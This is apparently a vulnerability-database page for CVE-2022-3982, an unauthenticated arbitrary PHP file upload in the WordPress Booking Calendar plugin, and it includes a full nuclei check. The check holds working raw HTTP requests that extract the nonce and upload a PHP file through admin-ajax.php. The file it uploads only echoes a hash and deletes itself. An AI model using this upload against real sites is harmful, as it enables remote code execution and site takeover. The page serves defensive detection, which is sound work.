CVE-2022-3982· wpdevart / booking calendar· CWE-434
WordPress Booking Calendar <3.2.2 - Arbitrary File Upload
criticalseverity
9.8CVSS score
4.8%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it
WordPress Booking Calendar plugin before 3.2.2 is susceptible to arbitrary file upload possibly leading to remote code execution. The plugin does not validate uploaded files, which can allow an attacker to upload arbitrary files, such as PHP, and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
Impact
This vulnerability can lead to remote code execution, allowing attackers to take control of the affected WordPress website.
Fix
Fixed in 3.2.2.
How to confirm it
Send: GET / ; POST /wp-admin/admin-ajax.php ; GET /wp-content/uploads/booking_calendar/{{randstr}}.php
Positive when: contains in body_3 "{{md5(string)}}"Run it with nuclei: nuclei -id CVE-2022-3982 -u <target>
The full check
id: CVE-2022-3982
info:
name: WordPress Booking Calendar <3.2.2 - Arbitrary File Upload
author: theamanrawat
severity: critical
description: |
WordPress Booking Calendar plugin before 3.2.2 is susceptible to arbitrary file upload possibly leading to remote code execution. The plugin does not validate uploaded files, which can allow an attacker to upload arbitrary files, such as PHP, and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
This vulnerability can lead to remote code execution, allowing attackers to take control of the affected WordPress website.
remediation: Fixed in 3.2.2.
reference:
- https://wpscan.com/vulnerability/4d91f3e1-4de9-46c1-b5ba-cc55b7726867
- https://wordpress.org/plugins/booking-calendar/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3982
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-3982
cwe-id: CWE-434
epss-score: 0.04809
epss-percentile: 0.92035
cpe: cpe:2.3:a:wpdevart:booking_calendar:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: wpdevart
product: booking_calendar
framework: wordpress
tags: cve,cve2022,rce,wpscan,wordpress,wp-plugin,wp,booking-calendar,unauthenticated,intrusive,wpdevart,vkev,vuln
variables:
string: "CVE-2022-3982"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------1cada150a8151a54
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="action"
wpdevart_form_ajax
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="wpdevart_id"
x
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="wpdevart_nonce"
{{nonce}}
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="wpdevart_data"
{"wpdevart-submit":"X"}
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="wpdevart-submit"
1
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
Content-Type: application/octet-stream
<?php echo md5("{{string}}");unlink(__FILE__);?>
--------------------------1cada150a8151a54--
- |
GET /wp-content/uploads/booking_calendar/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body_3
words:
- '{{md5(string)}}'
extractors:
- type: regex
name: nonce
group: 1
regex:
- var wpdevart.*"ajaxNonce":"(.*?)"
internal: trueReferences
- https://wpscan.com/vulnerability/4d91f3e1-4de9-46c1-b5ba-cc55b7726867
- https://wordpress.org/plugins/booking-calendar/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3982
- https://github.com/cyllective/CVEs
Use this check only on systems you are authorised to test. Where the data comes from